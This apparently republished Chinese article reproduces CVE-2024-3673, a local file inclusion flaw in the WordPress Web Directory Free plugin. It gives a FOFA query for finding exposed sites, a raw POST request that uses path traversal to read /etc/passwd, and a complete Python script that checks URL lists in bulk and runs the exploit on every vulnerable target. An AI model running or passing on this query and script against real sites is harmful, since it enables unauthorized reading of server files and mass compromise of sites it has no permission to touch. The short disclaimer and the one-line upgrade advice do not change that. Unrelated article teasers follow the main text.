WordPress Web Directory Free插件本地包含漏洞复现(附脚本)(CVE-2024-3673)

news/2025/2/2 3:18:29/

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

0x01 产品描述:

        Web Directory Free 是一款用于 WordPress 的免费插件,主要用于创建和管理在线目录网站。它允许用户轻松地添加、管理和展示各种目录条目,例如企业列表、服务提供商、地点信息等。这款插件非常适合需要构建商业目录、黄页网站或类似平台的用户。
0x02 漏洞描述:

        Web Directory Free插件在函数中使用参数之前无法验证参数,从而导致本地文件包含 (LFI)。这允许未经身份验证的攻击者读取服务器上的敏感文件。

0x03 影响版本:

Web Directory Free <= 1.7.2
0x04 搜索语句:

Fofa:body="/wp-content/plugins/web-directory-free"


0x05 漏洞复现:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ipfrom_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

0x06 批量检测脚本:

批量检测:
python poc.py -l url.txt -f [读取路径]
单个检测:
python poc.py -u your-ip -f [读取路径]
默认路径:
python poc.py -u your-ip
import argparse
import re
import requests
from packaging import version
import urllib3
from urllib.parse import urljoin# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def banner():print("\033[36m" + """*****************************************************             WordPress插件漏洞检测工具             **        Web Directory Free插件LFI漏洞检测         **            版本: 1.7.2及以下存在漏洞             **                 作者: iSee857                    *****************************************************""" + "\033[0m")def read_file(file_path):with open(file_path, 'r') as file:urls = file.read().splitlines()return urlsdef get_plugin_version(url: str) -> str:version_url = urljoin(url, "/wp-content/plugins/web-directory-free/readme.txt")headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"}try:response = requests.get(version_url, headers=headers, verify=False, timeout=10)response.raise_for_status()match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text)if match:return match.group(1)else:print(f"[!] 无法从 {url} 的 readme.txt 中提取版本信息。")return Noneexcept requests.RequestException as e:print(f"[!] 获取 {url} 的版本信息时出错: {e}")return Nonedef is_vulnerable(version_str: str) -> bool:vulnerable_version = "1.7.2"return version.parse(version_str) <= version.parse(vulnerable_version)def exploit_vulnerability(url: str, target_file: str) -> None:exploit_path = urljoin(url, "/wp-admin/admin-ajax.php")headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36","Content-Type": "application/x-www-form-urlencoded",}payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}"try:response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10)response.raise_for_status()if response.status_code == 200:print(f"[+] 漏洞利用成功!目标文件内容如下:\n{response.text}")else:print(f"[-] 漏洞利用失败,服务器返回状态码: {response.status_code}")except requests.RequestException as e:print(f"[!] 漏洞利用过程中出错: {e}")def check_single_url(url: str, target_file: str) -> None:print(f"\n[+] 正在检测目标: {url}")plugin_version = get_plugin_version(url)if plugin_version:print(f"[*] 检测到插件版本: {plugin_version}")if is_vulnerable(plugin_version):print("[+] 该站点存在漏洞!")exploit_vulnerability(url, target_file)else:print("[-] 该站点不存在漏洞。")else:print("[-] 无法获取插件版本信息,跳过检测。")def main():banner()parser = argparse.ArgumentParser(description="检测Web Directory Free WordPress插件中的LFI漏洞(版本1.7.2及以下)。")parser.add_argument("--url", "-u", help="目标URL(例如:http://example.com)")parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="要读取的目标文件(默认:/etc/passwd)")parser.add_argument("--list", "-l", help="包含多个URL的文件路径")args = parser.parse_args()if not args.url and not args.list:print("[-] 请提供目标URL或包含URL列表的文件。")returnif args.url:check_single_url(args.url, args.file)elif args.list:urls = read_file(args.list)for url in urls:check_single_url(url, args.file)if __name__ == "__main__":main()


0x07 修复建议:

将 Web Directory Free 插件升级到版本 1.7.3 或更高版本


http://www.ppmy.cn/news/1568589.html

相关文章

【Django教程】用户管理系统

Get Started With Django User Management 开始使用Django用户管理 By the end of this tutorial, you’ll understand that: 在本教程结束时&#xff0c;您将了解&#xff1a; Django’s user authentication is a built-in authentication system that comes with pre-conf…

解决双系统引导问题:Ubuntu 启动时不显示 Windows 选项的处理方法

方法 1&#xff1a;检查 GRUB 引导菜单是否隐藏 启动进入 Ubuntu 系统。打开终端&#xff0c;输入以下命令编辑 GRUB 配置文件&#xff1a;sudo nano /etc/default/grub检查以下配置项&#xff1a; GRUB_TIMEOUT0&#xff1a;如果是 0&#xff0c;将其改为一个较大的值&#x…

我谈区域偏心率

偏心率的数学定义 禹晶、肖创柏、廖庆敏《数字图像处理&#xff08;面向新工科的电工电子信息基础课程系列教材&#xff09;》P312 区域的拟合椭圆看这里。 Rafael Gonzalez的二阶中心矩的表达不说人话。 我认为半长轴和半短轴不等于特征值&#xff0c;而是特征值的根号。…

记忆化搜索(5题)

是什么&#xff1f; 是一个带备忘录的递归 如何实现记忆化搜索 1.添加一个备忘录&#xff08;建立一个可变参数和返回值的映射关系&#xff09; 2.递归每次返回的时候把结果放到备忘录里 3.在每次进入递归的时候往备忘录里面看看。 目录 1.斐波那契数列 2.不同路径 3.最…

UDP/TCP ⑤-KCP || QUIC || 应用场景

这里是Themberfue 传输层我们到这就已经差不多进入尾声了&#xff0c;这节我们主要做做扩展~~~ 应用场景 通过之前的学习我们知道 UDP 协议 和 TCP 协议 的一些基本的机制&#xff0c;这两的差别就在于 UDP 是不可靠传输&#xff0c;而 TCP 是可靠传输。但是&#xff0c;TCP 协…

Deepseek的RL算法GRPO解读

在本文中&#xff0c;我们将深入探讨Deepseek采用的策略优化方法GRPO&#xff0c;并顺带介绍一些强化学习&#xff08;Reinforcement Learning, RL&#xff09;的基础知识&#xff0c;包括PPO等关键概念。 策略函数&#xff08;policy&#xff09; 在强化学习中&#xff0c; a…

在虚拟机里运行frida-server以实现对虚拟机目标软件的监测和修改参数(一)(android Google Api 35高版本版)

frida-server下载路径 我这里选择较高版本的frida-server-16.6.6-android-x86_64 以root身份启动adb 或 直接在android studio中打开 adb root 如果使用android studio打开的话&#xff0c;最好选择google api的虚拟机&#xff0c;默认以root模式开启 跳转到下载的frida-se…

《DeepSeek R1:开启AI推理新时代》

《DeepSeek R1&#xff1a;开启AI推理新时代》 一、AI 浪潮中的新星诞生二、DeepSeek R1 的技术探秘&#xff08;一&#xff09;核心技术架构&#xff08;二&#xff09;强化学习的力量&#xff08;三&#xff09;多阶段训练策略&#xff08;四&#xff09;长序列处理优势 三、…